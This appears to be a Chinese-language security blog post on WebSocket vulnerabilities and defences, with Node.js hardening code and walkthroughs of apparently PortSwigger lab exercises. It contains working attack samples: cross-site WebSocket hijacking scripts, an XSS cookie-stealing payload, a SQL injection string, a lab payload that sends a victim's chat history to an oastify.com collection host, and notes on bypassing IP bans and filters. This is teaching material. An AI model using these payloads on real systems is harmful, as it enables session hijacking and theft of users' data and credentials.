WebSocket 这玩意儿,说白了就是浏览器和服务器之间的一个“长连接”通道。它能实现实时通信,比传统 HTTP 那种请求-响应模式灵活多了,用在即时聊天、在线监控、协作编辑、行情推送这些场景都挺香。
但凡事有利有弊,WebSocket 一旦被滥用,也可能变成攻击者的好帮手。下面就从安全隐患和防御思路两方面,结合实际经验聊聊。
本文基于常见漏洞和最佳实践进行扩展,旨在提供更全面的指导。
WebSocket 其实是基于 HTTP 协议升级(Upgrade)的。
客户端先发一个普通的 HTTP 请求,带上Upgrade: websocket头,服务端确认后,连接就从 HTTP 变成了双向的 WebSocket 通道。
例如,一个典型的 WebSocket 握手请求头可能如下(使用 HTTP/1.1):
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
服务端响应:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
它的特点是:
持久连接:一旦建立,就能持续双向通信,不用频繁重连。
数据轻量:传输的是帧(Frame),开销小,实时性强。
跨域限制弱:不像 Ajax 那样严格遵守同源策略。
问题也恰恰出在这里——安全机制太“宽松”。WebSocket 帧结构包括 opcode(如文本/二进制/关闭)、payload 等,如果未加密,容易被中间人篡改。

WebSocket 的灵活性带来了多种潜在风险。以下扩展了常见隐患,并结合实际例子说明。

WebSocket 不受浏览器同源策略限制,这意味着:
任意网页都能发起连接;
如果服务器没做好校验,攻击者可以伪造请求发到目标服务上;
甚至能直接操作真实用户的会话(如果 session 没隔离好)。
举个例子,你访问了一个恶意网站,它偷偷写了几行 JS:
let ws = new WebSocket("wss://target-site.com/socket");
ws.onopen = () => ws.send("delete_all_data");
如果服务器没验证来源(Origin),这条命令可能就真被执行了。另外,在跨站 WebSocket 劫持(CSWSH)中,攻击者可利用受害者的 cookie 发起连接,窃取实时数据。
CSRF 在 WebSocket 场景下其实更隐蔽。
攻击者可以引导用户访问恶意网页,然后用受害者的 cookie 发起 WebSocket 连接。
因为 WebSocket 默认会带上浏览器 cookie,所以如果服务端没做 token 校验,攻击者就能以受害者身份操作系统。
例如,攻击者构造一个恶意页面:
<script>
var ws = new WebSocket('wss://victim-site.com/chat');
ws.onopen = function() {
ws.send('transfer_funds_to_attacker');
};
</script>
如果握手无 CSRF 保护,攻击成功。
如果 WebSocket 消息里包含可被前端解析的内容(比如 HTML 或脚本),那就可能出现 XSS。
比如后端把别的用户发来的消息直接返回给前端渲染,一旦有人发<script>标签过去,前端就被注入了。
实际例子:在聊天应用中,发送 JSON 消息:
{"message": "<img src=1 onerror='alert(document.cookie)'>"}
如果前端直接插入 DOM 而未转义,将触发 XSS,窃取 cookie 或劫持会话。
WebSocket 默认是明文传输(ws://),如果不用加密通道(wss://),中间人就能窃听通信内容。
尤其在内网或公共 Wi-Fi 环境中,流量被截获、注入恶意帧的概率相当高。
例如,使用 Wireshark 捕获 ws:// 流量,能直接看到明文帧,如 opcode=1(文本)的 payload。升级到 wss:// 可防止此问题,但需注意 TLS 配置。
WebSocket 是长连接,一旦被滥用就很容易压垮服务器。
攻击者可以批量创建连接不释放;
也可以不断发送无效帧或垃圾消息,占满资源;
服务端如果没加限流和心跳检测,很快就会被拖死。
扩展:分布式 DoS(DDoS)可通过 botnet 洪泛连接,每个发送大 payload(如 >64KB),耗尽内存。
不少人以为 WebSocket 是“内部通讯”,不做权限验证。
结果攻击者一旦知道 WebSocket 接口地址,就能随意操作后端功能,比如执行命令、读取数据。
这在一些管理系统、监控系统中尤其常见。
另外,注入攻击如 SQL 注入:发送消息{"user": "admin' OR 1=1 --"},若未参数化查询,可绕过认证。
针对上述隐患,以下是实用防御措施。扩展了代码示例和数据包细节,以 Node.js 为例。
最基础的安全措施。
配置 SSL/TLS 证书后,只允许wss://协议通信。这样可以防止流量被监听或篡改。
在服务器配置中,确保拒绝 ws:// 连接,并使用 HSTS 头强制 HTTPS。
服务器端一定要校验请求头中的Origin或Referer。
比如在握手阶段拦截非法来源:
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://trusted-site.com'];
if (!allowedOrigins.includes(origin)) {
ws.close(1008, 'Invalid origin');
return;
}
// 继续处理
});
这样外部恶意网页就算知道你的地址,也无法建立连接。
不要只依赖浏览器的 cookie。
推荐用 JWT 或自定义 token 进行身份校验,比如:
客户端建立连接时附带 token;
服务端校验 token 是否有效;
每隔一段时间重新验证,防止劫持。
示例:使用查询参数传递 token(注意日志中红action):
// 客户端
const ws = new WebSocket('wss://example.com/socket?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
// 服务端
wss.on('connection', (ws, req) => {
const url = require('url');
const token = url.parse(req.url, true).query.token;
if (!verifyJWT(token)) {
ws.close(1008, 'Invalid token');
}
});
前端和后端都要对消息内容做严格校验,避免注入。
禁止直接渲染用户输入;
对 HTML、JS、SQL 特殊字符做转义;
只接受规定格式的消息结构,比如 JSON。
示例:使用 schema 验证消息:
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: { action: { type: 'string', enum: ['update', 'delete'] } },
required: ['action']
};
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (!ajv.validate(schema, msg)) {
ws.close(1003, 'Invalid message');
}
});
WebSocket 连接容易“僵死”,所以要定期检测连接状态。
同时,对空闲太久的连接自动关闭,以防 DoS。
setInterval(() => {
ws.send(JSON.stringify({ type: "ping" }));
}, 30000);
ws.on('message', (data) => {
if (JSON.parse(data).type === 'pong') {
// 保持连接
}
});
服务端检测不到心跳就断开连接。
对连接数、消息速率做限制:
每个 IP 最多允许多少连接;
单位时间内最多接收多少消息;
超限后封禁或延迟响应。
示例:简单速率限制
let msgCount = 0;
setInterval(() => { msgCount = 0; }, 60000); // 重置每分钟
ws.on('message', () => {
if (msgCount > 100) {
ws.close(1008, 'Rate limit exceeded');
}
msgCount++;
});
不要让前端随意发指令。
可以定义一个严格的白名单或命令协议,例如:
{
"action": "update_status",
"data": {"id": 1, "status": "ok"}
}
后端只处理已注册的 action,其他一律拒绝。
结合授权检查:
const allowedActions = ['update_status'];
if (!allowedActions.includes(msg.action) || !userHasPermission(user, msg.action)) {
ws.send(JSON.stringify({ error: 'Forbidden' }));
}
实时记录连接建立、断开、消息传输、异常行为。
日志里应包含来源 IP、User-Agent、时间、消息类型。
长期分析这些日志可以发现异常访问模式,比如同一 IP 频繁连接、发送非法命令等。
使用工具如 ELK Stack 监控,并警报异常(如连接率激增)。
有些开发者觉得:
“WebSocket 是内网的,不需要太多安全策略。”
这其实是最大的坑。
因为:
很多攻击都是通过内网跳板;
一旦前端被劫持(XSS 或钓鱼),WebSocket 通信也就不再安全;
内网系统常常缺乏加密、认证机制,一旦泄露接口,后果严重。
这是个在线商店使用 WebSockets 实现了实时聊天功能,提交的聊天消息会实时被客服人员查看。
也可以在burp上查看流量过程
1.在聊天窗口输入<123>查看是否存在编码:
2.拦截抓包,修改发送的消息即可绕过前端对输入的内容的编码:
3.查看页面,确认存在xss漏洞:
1.点击"Live chat"并发送一条聊天消息。
2.在 Burp 代理中,在 WebSocket 历史记录标签页中,观察到"READY"命令从服务器获取过去的聊天消息。
3.在 Burp 代理的 HTTP 历史记录标签页中,找到 WebSocket 握手请求。观察该请求没有 CSRF 令牌。
4.接下来构造csrf payload,查看wss地址。
将collaborator-url 替换为 Burp Collaborator 生成的有效载荷。
5.在攻击服务器上放一个带有payload的html。
这里需要将https://your-collaborator-url替换为受攻击url。
<script>
var ws = new WebSocket('wss://0a7e007204e7d4758a91191500940080.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://2nqd6z8bt3xl2ea3xoswy2ekrbx2lt9i.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
6.攻击
查看collaborator,根据获得的流量,是别人的聊天记录:
即可获得别人的账号密码。

登陆成功!
背景:该聊天框存在xss漏洞
首先按照实验一进行测试:
存在攻击,ip被ban了
这里可以用xff尝试:
修改后可以正常访问:
这里传统的攻击可以被阻拦,可以大小写绕过:
可以绕过:
WebSocket 的实时特性确实提升了交互体验,但它带来的安全隐患也不容小觑。
一句话总结就是:你把门打开方便通信了,但也得记得加锁。
实践中,至少要做到:
使用 WSS;
校验来源;
加 token;
控速、限连;
日志留痕;
定期做渗透测试和安全扫描。
此外,保持依赖库更新,避免使用过时组件,并使用工具如 Burp Suite 或 OWASP ZAP 测试漏洞。
只要这些基本安全措施到位,WebSocket 依然是非常强大的实时通信技术。